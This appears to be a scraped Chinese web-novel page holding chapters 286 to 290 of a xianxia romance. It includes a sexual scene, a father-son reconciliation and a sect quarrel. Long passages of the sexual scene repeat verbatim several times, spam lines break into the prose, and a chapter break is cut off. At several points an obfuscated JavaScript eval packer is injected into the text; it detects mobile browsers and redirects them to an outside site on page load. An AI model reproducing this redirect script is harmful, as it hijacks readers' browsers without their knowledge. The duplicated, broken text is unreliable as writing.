这是先睡谁的问题吗? 她不想先睡他的吗? 第 286 章 我想要你 三次都没能吃到,反被人捷足先登的狐狸,双目无神,打击备深,原地直接一个崩了,委屈的泪水在眼眶里疯狂打转。 “那我这一点点算什么……每次都差一点……算什么……” “我呢……那我算什么……” 甚至被泪呛了一下,噎住了,傻傻的坐在那儿,出不来声。 离老远的帝隐:“……” 看着狐狸决堤的泪水,从通红的眼眶,断线珠子似的,扑簌簌的落。 江献晚用力一咬牙,撸起袖子,将两腮满是湿痕的狐狸……扛了起来。 一点点是吧? 她现在就把这一点点给吃了! 今天就算是天王老子来了都不顶用! 江献晚一脚踹开房门,在狐狸抽噎声戛然而止,一双呆滞的狐狸眸赫然睁的滚圆,将他丢在榻上。 不待目瞪口呆的狐狸闭上微微张大了的嘴巴,长腿一迈,骑上他的腰腹,轻薄的帷幔自身后缓缓摇曳着垂坠。 带着一股子神挡杀神、佛挡杀佛的势不可挡,俯身凑近,舌尖轻轻顶开他的唇,将泪珠与他的舌尖一并勾住。 她紧紧扣着那双修匀的十指,压在明艳的被褥上。 注意到因震惊而定在床榻间的狐狸,墨发里突然冒出一双雪白的狐耳。 惹人怜爱,颤颤巍巍。 转而去含他眼角那滴将坠不坠的泪珠子。 “别哭了……狐狸……” 哭的她心里很痛。 哭的她开始后悔。 自个逍遥快活,却从没想过狐狸会不会难受。 江献晚小心翼翼吻干他湿漉漉的睫毛。 想要告诉他,她这样做,不是在敷衍他,不是因为心虚和愧疚,才这样哄他。 她只是想要他,想跟他在一起。 早就想了。 她跟狐狸都等的太久。 每次听到他嘶哑,似带着滚烫的吐息传来,她何尝不是忍的很难受。 江献晚睫毛颤了两颤,体内蒸腾出的热气,无声弥漫开来,将她整张脸都渲染得活色生香。 是再也无法掩饰,也不想掩饰的动情。 是理智焚毁后,最赤裸裸的沉醉。 此刻软软的,不由自主地聚起一点极柔的弧度,缠绕在他脸上,像是要用目光细细临摹他的眉眼。 耐心等狐狸回神。 让她意外的是,狐狸怔怔的看了她一会儿,猛然弹腰起身,将她死死纳入怀里。 却不是想与她做那档子事。 他呼吸乱了章法,露出里头从未示人的仓皇。 所有的醋意与委屈,全都叛逃的干干净净。 掌心轻轻压在江献晚后心,眼圈又洇出一抹焦急的湿痕。 努力放轻放软声音。 “晚晚,出什么事了?” 他了解江献晚,如果不是事出有因,定然不会与凤仪这么快在一起。 忙将她浑身上下,从头到脚,来来**看了几遍。 “是春潮期,还是你被算计了?” 他早就不介意江献晚会有几个男人,也不介意他不在,江献晚和他们几个在一起。 就是……他吃了三次,都没成功,有点……遭不住。 这会儿脑袋转过来,想的全是江献晚是不是在心甘情愿的情况下,与凤仪在一起的。 看着狐狸慌手慌脚检查她是否受伤,心疼的脸都白了的模样,江献晚眼底划过一丝狼狈。 将自己的私心摊开。 “他是出了意外,但……” “是我想与他在一起的。” 她不想骗狐狸。 扪心自问,她是心甘情愿,甚至自私的趁火**,睡了自己的师尊,将他与自己拴在一起。 “你,会不要我吗?”江献晚忽然轻声道。 垂在身侧的手指,缓慢地揪住一点袖角。 从前,她身边明明只有狐狸,后来,便多了这么多人。 狐狸……会失望吗? 风回雪:“……”死女人在问他什么? 风回雪原本还在担心的表情有瞬间的懵逼,低头一瞅,看到她垂下的脑瓜。 两只狐耳像是被人用力弹了一下,剧烈一抖,突然变得气急败坏起来。 “江献晚!”他凶巴巴却很小心的一口咬上她颈子,含糊骂道:“你再敢胡说试试!” 这种时候了,她竟然还在质疑他的心? 她把他当作什么了? 把他的心意又当作什么! 气的一度哽咽。 “你是想让我死吗……江献晚……” “你心里不知道?不知道你自己对我多重要……” 重要的,他心甘情愿,愿意看着那几个男人,缠在她身侧。 风回雪眼睛都红了,不顾江献晚嘟着嘴,讨好般慌忙来堵他的唇。 手指压着她的手腕,凶狠的拿狐耳在她脖颈一顿胡乱的蹭。 “错没错!错没错!” “以后还敢不敢了!” “江献晚!你再敢胡说信不信我现在就一口咬死你!” 他嘴上凶巴巴,表情恶狠狠,心里却涌出无尽的甜蜜。 这算不算晚晚太在乎他,所以才会问他这种明知故问、又好气又好笑的话? 算不算他比凤仪在她心中的位置还要重要? 风回雪面色不显,心底一阵激荡,使劲拿自己的狐耳去蹭她的痒痒肉,蹭的狐耳的**一团凌乱。 “错没错?错没错?” “告诉我你错没错!” 江献晚弹蹬着腿儿,被狐狸擒了颈子,躲又躲不开。 爆发出一阵快要岔气的笑声,胡乱去抓他狐耳。 “呜呜……我错了……” “风回雪……我错了……别……哈哈哈哈哈哈哈!” “哈哈哈哈哈哈哈……” “啊哈哈哈哈哈哈哈哈哈哈……” 刚来到隔壁房间的帝隐和江行行:“……” 跟在屁股后面的一鱼一龟一猫:“……” 狼太灰和白羽脚步双双一顿,抽搐着嘴角,默契的明智选择……找个远些的房间。 这俩简直……太不把他们当人了! 虽然……他们不是人。 江献晚笑的直打滚,笑着笑着,狐狸忽然安静下来,耳边便传来近乎生死相缚、画地为牢,饱含着太过温柔而执拗的动情一句。 “晚晚……我爱你……” 没人知道,他有多爱她。 “风回雪……” 所有的感官,乃至神经末梢都在不堪重负的颤栗,她本是极薄凉的 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174637|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 眉眼,此刻却像冰封的湖面投入了烧红的炭。 那层薄冰脆生生裂开,底下涌出滚烫的春水,里头清晰地映出他的轮廓。 江献晚反手将他推倒在枕席上。 看他三千青丝铺满金红色的被褥,白嫩嫩的狐耳连颤带晃。 看他双眸有熔浆满溢出来,只有她一人的倒影,带着近乎疼痛的珍视,仿佛要将她每一寸轮廓烙在灵魂深处。 指尖解开了他的腰封。 “风回雪。” “我想要你。” 她想要风回雪。 就现在。 再也等不了了。 她看着下意识屏住呼吸,渴求又怕极那一点点的可怜狐狸。 微微俯身,瀑布般的青丝垂下肩头,落了他满身,在他陡然错愕,顺着他的喉结、肌理一路滑了下去。 听着他的呼吸明显重了,暖玉般的十指深深陷进被褥,喉结难以自控地上下滚动,猝不及防,要控制不住呻吟出声。 她的腰肢仿佛突然被抽去了所有支撑,又或是被甜蜜的重量压弯。 软软的塌陷下去,折出一道惊心动魄的弧线。 衣料随之陷落,紧贴在那凹陷的腰窝处,勾勒出上身与臀胯之间无比曼妙的起伏,将柔媚诠释到了极致。 这一折,是任君采撷,令人血脉贲张的邀请。 风回雪紧绷的腹部,随着她跪坐俯身的一下,刺激到抽搐。 意识到她想做什么,表情是慌乱、是惊愕,反射性想弹坐起身,阻拦她下一步的动作。 江献晚毫不犹豫。 启唇…… 含…… 了上去。 第 287 章 咽了 风回雪双眸剧烈一颤,狐耳跟着弹晃。 甚至不能相信。 江献晚想要他,真的是这种要法。 喉结一滚,张嘴想说什么,还未来得及开口,一声压抑的闷哼从唇齿间泄出。 弹起一半的身子,重重跌了回去,不可置信的狐狸眸一片激越而凌乱的色泽。 悬绷的心弦‘砰’地一下,轰然崩断。 他陷在被褥中的手已然攥紧,修长的指骨凸出苍白的骨节。 像是被一场无声的风暴,突然从里到外洗劫,所有冷静自持的瓦砾都被一股脑卷走。 江献晚没有给他喘息和拒绝的机会,笨拙生涩。 显然是头一遭。 风回雪双眸微红,只觉神魂颠倒,鼻翼不知不觉泛酸。 他再急色,再渴求与她完完整整在一起,也从未有过这般粗鲁对待江献晚的想法。 她却为了他…… 他试图阻止,下颌却猛然拉长,乌发间雪白的狐耳,连晃带颤。 喉结剧烈地急促翻滚,覆盖在皮肤之下绷出强悍而清晰的肌理,手臂处微微勃跳的血管,青筋毕现。 一双扩散到极致的眸,翻涌出汹涌浓稠的情欲,活生生要将他溺死进去一般。 空白的大脑只余下,一个神魂都在疯狂震荡的念头: 江献晚的唇。 很软。 风回雪然喉咙窒哽,喉结沉沉滚动,唇齿间是一声欲壑难填的急促吐息。 终于意识到自己由着她胡闹,紧咬着牙关。 将这辈子的克制全拿出来了,抬起手推抵她肩膀上。 不舍得这样对她。 “晚晚……” 他一开口,声线便是沙砾滚过一般。 却被一只柔软的手轻而易举固定住。 他不敢用力挣,急喘着垂下眼,微阖的眼睫快速翕动,墨黑的瞳仁周围一片赤红。 声音沉哑,破碎不堪,像是被水泡过。 几乎有些听不清。 “晚晚……” “放……” 他再次握上她的肩,控制着恰到好处的力度,再次想将她推开。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 回应他的是江献晚愈发执拗般的…… 无不在告诉他。 她愿意。 她也想为他做这些。 江献晚眼尾都晕红了沁出生理性的泪珠。 不过看着横沉在枕席间狐耳透粉墨发凌乱妖冶又魅惑的男子。 被她撩拨的腰腹收缩浸染了淋淋春水的狐狸眼 媚态与欲念尽显。 除了狐耳连颤带晃急促喘息之外竟是发不出一点声音。 眉眼不由自主洇染脉脉温情。 一只滚烫的手掌再招架不住五指没入她的发丝。 风回雪眼睫颤的更厉害一双狐狸眸因太过满溢的情动和难以言喻的心疼酸胀猩红一片颈侧淡青色的血管都在突突跳动。 终于让步汗湿一片的掌心覆在她脑后。 耳尖却渐渐红透。 想移开视线又移不开。 直至意识倏然不可控制的崩溃他瞳孔猝然急剧收拢。 眉眼一慌想推开江献晚。 反被她反手推开。 浑身的筋骨都在这一线崩断颈项拉出一道惊心动魄的弧线隐约透出青紫色血管的脉络。 汗水沿着突然变得陡峭的颈线急遽下滑在中途被凸起的喉结截断飞溅成细碎的光点神魂也随着这一下全然粉碎。 但在发现她突然掩了唇小脸突然难受的皱成一团立时将自己从濒死般的界限中生拉硬扯拽了出来。 慌乱坐起身五指一握将她扯到腿上。 “晚晚!” 他失声喊叫了一声情潮正是激荡的狐狸眸翻覆一层无比后悔自责的心疼。 忙探出一只手眉眼焦急。 “快点!” 江献晚:“……” 她双颊绯红死死抿着红肿的唇不肯张嘴。 这下险些没把狐狸急死。 又急急在她唇边摊开手轻哄道:“是不是痛了?” “晚晚!” “快!” 江献晚:“……” 看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206900|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急快要背过气的狐狸猛地将脑袋 你的朋友正在书荒,快去帮帮他吧 扎他汗涔涔的胸膛。 难得有些脆弱、绝望。 在狐狸艰难地转动一双水眸,回过味来,浑身僵住时,咬着唇瓣,面红耳赤,模模糊糊挤出几个囫囵不清的字。 “没……了。” 风回雪:“……” 房间突然陷入一片死寂。 江献晚脸都要烧着,死死抵着他,鸵鸟般不肯将脑袋抬起来。 见他突然不动也不说话了,跟一座雕塑杵在榻上似的,又羞又臊,呜呜咽咽叫喊了出来。 “没了就是没了!我又不是故意的!谁让你最后……唔!” 她羞愤欲死的哭叫,还没指责完,后颈被一只湿热的手掌掐住,唇缝便被一股狠戾的凶劲,撬开。 江献晚双眼骇然睁大,偏头想躲,“不……我没漱……唔!” 然而,狐狸显然疯了。 哪里肯让她逃走,汗津津的胸膛覆下,一只尾巴牢牢圈紧了她的腰肢,锁在腿上。 掐着她的颈子,就是一阵狂风骤雨般的吻。 在她快要昏厥,弹蹬着腿儿来踹他,才将她的唇放开。 风回雪既心疼,又懊恼自己太过龌龊,因这个激动。 双手将她紧紧缠抱在身前,低头在她侧颈处边吻边喘。 “晚晚……” “我……” “方才差点**……” 江献晚:“……”她才要**! 隔壁。 新浴不久,鼓足勇气,拿起毛巾为从隔间走出来的江行行,擦拭头发的帝隐:“……” 他睫毛簌簌颤了几下,耳根子又热又烫。 这些房间隔音极好,他却听的一清二楚。 那含着羞恼的,软软的三个字。 甚至…… 最后的…… 咽喉收缩。 让他绝望、不知所措的是,他听着那些动静,在安静的等待江行行出来的时间里…… 他竟龌龊的…… 帝隐局促的扯了一下衣裳。 第 288 章 你……喊我什么 江行行:“您…… 耳边动静一止,似乎是狐狸将人扛了起来去隔间沐浴。 清脆的童声,恰巧将他的思绪扯回。 帝隐指尖颇有几分不自在的蜷了蜷,忙将思绪归拢。 他认真的看着那眉眼极为肖他的孩童,眼底漾开层层叠叠的柔波,所有情绪都沉在清澈的水底,卵石圆润,水草温柔。 薄唇轻启,清冷的弧度都在这一刻融化。 “行行。 江行行一手抱着洗的香香的龙鲤,脚边是毛发抖干的天雪白尾兽。 认真执拗的看着身侧长相极为漂亮的男子,很是干脆利落。 “您为什么要丢下娘亲一个人? 他不明白,这个男人既然喜欢娘亲,为何丢下娘亲,又回来找他们。 可他不想问娘,只想让这个男人亲口告诉他。 他声音清脆,不难听出仍有几分无法原谅的敌意。 帝隐面颊微微苍白,潮湿的毛巾堆叠在膝头,洇出一片深色的水痕。 那双瞳仁洗刷得异常漆黑明亮,像浸在寒潭里的墨玉,折射出一种碎玻璃般的光芒。 泛着隐忍的红,并非柔媚的胭脂色,而是绷紧到极致后血丝细微破裂的痕迹,沿着眼廓淡淡地晕开。 他不愿江行行看到他这种像是故意惹他心软的模样,极力克制着,使自己的声音听起来很是正常。 没有将他当作一个什么都不懂的孩童对待,更没有选择逃避和美化自己曾经做过的事。 焰心摇曳,蜡泪垂垂,已自积了半盏。 父子两个,一大一小的身影,脊背挺直,端坐在榻边。 帝隐阖了阖眸,再睁开,压下眼底想要涌出的温热泪意,直直而安静的望进那双与他如出一辙的琉璃眸。 缓缓将从前道来。 江行行小小的一个,至始至终坐的很端正,搁在腿上的小手紧握成拳,如身侧男子般,一个模子里刻出来的隐忍神态。 安静听这个男人所能全部讲出的一切,而这全部,也不过是寥寥数语。 在听到娘亲迫不得已,与他做了交易,直到突然消失不见,清亮的眸子渐渐蓄满豆大的泪珠。 帝隐指尖动了动,却终是按捺,没有敢 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 为他擦去面颊的泪珠。 “待我出关,已是两载。” “我不知她去了哪里,不知她好不好,便带着‘等等’去寻南境寻她……” 他没有再说之后的事,没有再说江献晚的心软,更不会辩解他的放任自流,和自己不知江献晚离开时,腹中已有了他。 将自己所作所为,尽数摊开。 帝隐眼皮重重一阖,将那即将夺眶而出的东西强压回去。 眼睑闭合的刹那,可以清晰地看见那薄薄皮肤下微微的悸动,仿佛有什么活物在其中挣扎。 待他再睁开眼时,那水光更盛了,波光粼粼地在眼底打着转,将烛火的倒影揉碎成点点金芒。 他不求江行行原谅他,认下他这个父亲。 怪他、恨他、怨他,他合该一一受着。 江行行忽然垂下了脑袋。 他摸着龙鲤的小角,似乎在思考。 帝隐安静的等着,搁在膝头的指骨,蜷缩、打开,蜷缩、打开。 在蜡烛悄然燃尽,一声细微的‘哔啵’声响起,他眼角落了一滴泪,身子微微向前倾了倾,似乎想要借这一股势头站起来。 然而那身躯竟似有千斤重,他只得将双手撑在膝上,指节因用力而泛出青白。 缓缓从榻边起身。 向来薄挺的脊背,似乎都挺不直了。 就在他泪水将崩,完全站直的那一刻,衣角忽然一坠。 那力度微弱,却使得他挺拔的身形开始觳觫,视线顷刻模糊。 “您,以后会对娘亲好吗?” 稚嫩的童音,仿佛一片羽毛擦过耳廓,偏偏带着不容忽视的重量。 帝隐猛然回眸。 许久之后,声音哽咽。 “行行……” 江行行不知何时站了起来,抓着他的衣角,执拗的仰着小脸。 再问。 “您会对娘亲好吗?” 他爹爹是愿意。 但,不能左右他对这件事的想法。 他知道娘亲愿意理眼前这个男人,还将他带到这里来,是因为娘亲喜欢这个男人。 他只要他能做到一直对娘亲好,他才会愿意。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 江行行耐心的仰着小脸,在看到与他样貌很是相似的男人怔了半晌。 恍若起誓。 恍若剖心。 看着他的眼睛,用力一点头。 抬起小手,一抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在江行行迈开小短腿就想跑,帝隐忙坐起身,脆弱的阻拦。 “行行!” 第 289 章 …… 隔壁……跟打架也差不多了。 饶是见识过狐狸在床第之间,勾人又凶残,学什么都快的本事。 终于突破最后一垒,江献晚可谓在汤池中吃了好一番苦头。 又被狐狸禁锢在腰腹,急色的抱进房中。 当然。 她举起哆嗦的指尖,忙里抽闲……掐了几次,成功掐出一个隔音罩子,又被摁在了被褥上。 帝隐:“…… 他勉强哄行行重新躺下,听着那些糜糜的声音透过罩子,清晰的传过来。 刚开始,是木质的响动。 不知多久后,又是木质骨骼的断裂。 他便看到墙壁上的画框轻微的歪了,年深日久的白垩粉从砖缝间簌簌惊起,在重重一记里织出一阵烟雾。 “风回…… 唇齿间的名讳,如暖意缓缓洇过灰浆,碎如呓语,蚀了过来。 狐狸似乎还被揪了一双狐耳。 而墙的另一侧,挂着的铜钥匙串无风自动,仿佛被订在半空中,颤颤巍巍地悬浮着。 红着耳尖,努力声线平缓,为给儿子讲睡前故事的帝隐:“…… 烛火拉长,寅时过了一半。 江行行还在沉睡,一夜未阖眼的帝隐,听到隔壁传来江献晚模模糊糊喊他名字的……求救声。 睫毛簌簌翕和几下,终于忍不住披衣起身,轻叩响门扉。 “风回雪…… 半晌,门打开一道缝隙。 十指纤长,如白玉雕就,细看,指节如同早春残雪中偶然探头的梅瓣。 似朱砂又非朱砂,染着一点赭红,像是碾碎了石榴籽般, 从门缝里递出一点葱嫩指尖。朝他伸出带有几处零星的白嫩指尖。 堪堪捉上他慌忙抬起的指尖,又……消失在门缝。 帝隐:“…… 江献晚:“…… 天亮时,帝隐已经做好了饭,院子里的饭桌围了一群。 没一个询问风回雪和江献晚为什么还不起床。 各个那叫一个心知肚明。 这俩不起床还能因为什么? 就狐狸那沉溺美色的色急性子,不吃 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的江献晚死死的,爬都爬不起来才奇怪。 不过。 听到江行行喊帝隐“爹”,狼太灰噎了一下,痛苦的使劲捶打着胸口。 “什么……爹?” “谁的……爹?” “你爹……不是没起床!” 在座的:“……” —— 被狐狸痴缠了一夜,好不容易逃出来,江献晚蔫蔫地伏在帝隐臂弯,睡了一路。 她从鱼小白身上跳下来,步子缓缓停顿,视线滑向一青一白两道身影。 一边是胡闹过后的心虚,一边又挪不动半寸。 十秒后,径直回房的脚步一转,身形一闪,横插在两人中间。 那抹曳着溶金光斑的青衣,拂过指尖,花不休下意识慌忙将手缩回阔袖,低垂眼帘,不知该看向哪里。 江献晚更不知他连串的小动作,冷眼望着林轻染,眼尾微微上挑,语气是毫不掩饰的厌恶。 一开口便是咄咄逼人。 “啧……送药?” 看到来人,林轻染表情一慌,反射性退后两步,“江、江师妹。” 江献晚神色漠然,只听得林轻染强撑镇定,解释道:“我只是看凤仪剑尊似乎不太舒服。” 不太舒服? 她好意思说他不太舒服? 这么好心送药? 还是药里掺了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206902|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好东西? 她可没忘记,是林轻染害的花不休差点死掉! 害的花不休来跟她耍小性子。 江献晚眼底有戾气一闪而逝。 蓦地轻笑了下。 “林道友还真是闲情逸致乐善好施,眼刚睁开就来给我师尊送药?” 不得不说,都这样了,她胆子还能这么大,是个正常人都干不出来。 林轻染:“……” 她被迫躺了七八日,能怎样? 裴长安不理她,其他人方才远远看到她,就背过脸! 她是什么见不得人的瘟神吗! 她被花不休砍晕之后,还没醒来就被拴在了床上。 要不是系统这几日拼了命忙着修复厄弓,没有余力助她脱困,她早跑了! 刚从屋里出来,看见出门的花不休,想着拿送丹药的由头,观察一下他的反应。 是否察觉到她干的那些好事,对她又是什么态度! 丹药才掏出来,江献晚就来了! 现在单看江献晚的反应,虚古境半天都不能再待下去! 她必须赶紧离开! 两境六宗听到争执的动静,纷纷循声走来,停在不远处观望。 江献晚浑不在意,缓缓迈开一步,在她后退时。 步步紧逼,杀意昭昭。 “林轻染,有人说过,你真的,很贱吗?” 在场的:“……” 这……恐怕没有。 不过现在有了。 不信。 你自己听听。 那始终站在她自个师尊身前的江献晚,不断地、使劲戳人心窝。 “装什么圣母白莲?” “我师尊需要你来关心?” “你有什么资格关心?” “还是你以为我江献晚是死的!” 第 290 章 继续审 赶忙摸出一把瓜子的明长老:这小崽子,今天怎么跟吃**似的? 都纵欲过度了,火气还这么旺? 还是看见她师尊跟人家站在一起,急了? 哟哟哟~ 别说,师徒就是好嗑哈。 小伙伴们摩拳擦掌:哦豁!纷争开始了——! 江师妹看到自个男人被别人惦记,她——急了! 其他的:不演了?真一点都不演了? 没说今天还有这节目啊! 一个受过林轻染恩惠,被其拔除体内死气的北境明阳宗弟子,有些纠结。 “江师妹今日怎么了?林道友再怎么说,也于我等有恩。” “与你们有恩,干我们屁事!”何未语张嘴喷了回去,“还有恩?你确定有恩?” “你个身高都够不到我波棱盖的矮冬瓜,长个猪脑子就是为了凑身高吗?” 这种蠢货,**都不知道自己**的! 到底是谁对他有恩? 又是谁清化的这些死气? 大**吧他! 弟子:“……”骂他可以,凭什么拿波棱盖来攻击他! 都说天青宗大师姐性子温柔,这特么也能叫温柔? 骂的可真脏啊! 他觉得他波棱盖……忽然中了一箭! 修言也没放过他。 “小脑发育不完全,大脑完全不发育!她哪句话说的不对?眼睛一睁,就跑人太虚宗驻地,人家明长老不会炼丹?人家林玉锦江献晚哪个不会炼丹?这么能贴!火化的时候都得粘锅!” “我、我只是说江献晚的态度有些激动,林轻染毕竟救了几个弟子,也是出于好心才会关心凤仪剑尊。” 